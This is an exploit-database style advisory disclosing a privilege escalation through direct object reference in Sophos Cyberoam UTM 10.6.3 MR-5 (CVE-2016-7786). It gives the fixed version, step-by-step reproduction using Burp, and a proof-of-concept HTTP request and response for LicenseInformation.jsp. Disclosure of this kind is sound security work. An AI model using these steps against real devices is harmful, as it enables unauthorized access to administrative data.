Exploits / Vulnerability Discovered : 2018-04-16 |
Type : webapps |
Platform : jsp
This exploit / vulnerability Sophos cyberoam utm cr25ing 10.6.3 mr5 direct object reference is for educational purposes only and if it is used you will do on your own risk!
Description
===========
A vulnerability, which was classified as critical, has been found in Sophos Cyberoam UTM CR25iNG 10.6.3 MR-5. This issue affects an unknown function of the file Licenseinformation.jsp of the component Access Restriction. The manipulation with an unknown input leads to a privilege escalation vulnerability. Using CWE to declare the problem leads to CWE-264. Impacted are confidentiality, integrity, and availability.
The weakness was released 04/07/2017. The advisory is shared for download at infosecninja.blogspot.in. The identification of this vulnerability is CVE-2016-7786 since 09/09/2016. The attack may be initiated remotely. The successful exploitation needs a single authentication. Technical details of the vulnerability are known.
Upgrading to version 10.6.5 eliminates this vulnerability.
Steps to reproduce
===================
1. Login with admin user account.
2. Navigate to the dashboard and observe all GET URLs through burp proxy. Save URLs.
3. Logout and login with a low privileged user account who does not have even read/write/execution permission.
4. Access saved admin functionality URLs with a low privileged user account.
5. Access the admin information from the user account.
Video Demonstration
====================
https://www.youtube.com/watch?v=unV3-DdIxXw&t=2s
PoC
===============
Request:
GET /corporate/webpages/dashboard/LicenseInformation.jsp HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;1=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.1/corporate/webpages/index.php
Cookie: JSESSIONID=120g9lzj467ivba7uvbf9ej73
Connection: close
Response:
HTTP/1.1 200 OK
Date: Wed, 31 Aug 2016 06:59:56 GMT
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=2592000
Expires: Fri, 30 Sep 2016 06:59:56 GMT
Vary: Accept-Encoding
Content-Length: 1828
Connection: Close